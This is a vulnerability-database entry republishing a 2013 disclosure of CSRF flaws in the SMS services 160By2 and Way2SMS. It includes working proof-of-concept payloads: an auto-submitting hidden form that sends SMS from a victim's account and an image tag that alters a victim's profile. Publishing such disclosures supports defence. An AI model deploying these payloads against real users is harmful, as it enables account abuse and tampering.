Vulners
Lucene search
160By2 / Way2SMS Cross Site Request Forgery
`Cross Site Request Forgery (CSRF) Vulnerability in Top Online-based SMS
sending service websites 160By2.com and Way2SMS.com.
The Security flaw in 160By2 allows hackers to send sms from victim account.
This Security flaw in Way2Sms hacker to change the name, dob and other
details of the victim with a crafted-request.
The PoC for the 160by2:
<html>
<body onload="document.smsalerts.submit();">
<form name="smsalerts" id="smsalerts" method="post" action="
http://www.160by2.com/InsertSMSAlerts">
<input type="hidden" name="hidd_array" id="hidd_array">
<input type="hidden" name="hidd_sno" id="hidd_sno">
<input type="hidden" name="hidd_mno" id="hidd_mno" value="">
<input type="hidden" name="hidd_edit_type" id="hidd_edit_type">
<input type="hidden" name="alerttype" value="Birthday"/>
<input type="hidden" name="cmd_gender" value="Him"/>
<input type="hidden" name="cmb_month" value="01"/>
<input type="hidden" name="cmb_day" value="01"/>
<input type="hidden" name="cmb_year" value="2013"/>
<input type="hidden" name="txthour" value="20"/>
<input type="hidden" name="txtminute" value="27"/>
<input name="textfield4" type="hidden" value="Your_Mobile_Number">
<input name="txt_sendsms_count" type="hidden" value="126 characters
left/">
<input type="hidden" name="textarea" value="BreakTheSec Inside"/>
<input type="hidden" name="totCount" value=""/>
<input type="hidden" name="pageNo" value=""/>
</body>
</html>
POC for the Way2SMS:
<img src="
http://site4.way2sms.com/Settings?HiddenAction=general&txtSName=Neo&txt_date=01-01-1905&SProfddl=1&SCityddl=84
"/>
http://www.ehackingnews.com/2013/01/csrf-vulnerability-in-160by2-way2sms.html
--
Sabari Selvan, founder of E Hacking News
Twitter : @EHackerNews
Facebook : fb.me/EHackerNews
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
04 Jan 2013 00:00Current
0.8Low risk
Vulners AI Score0.8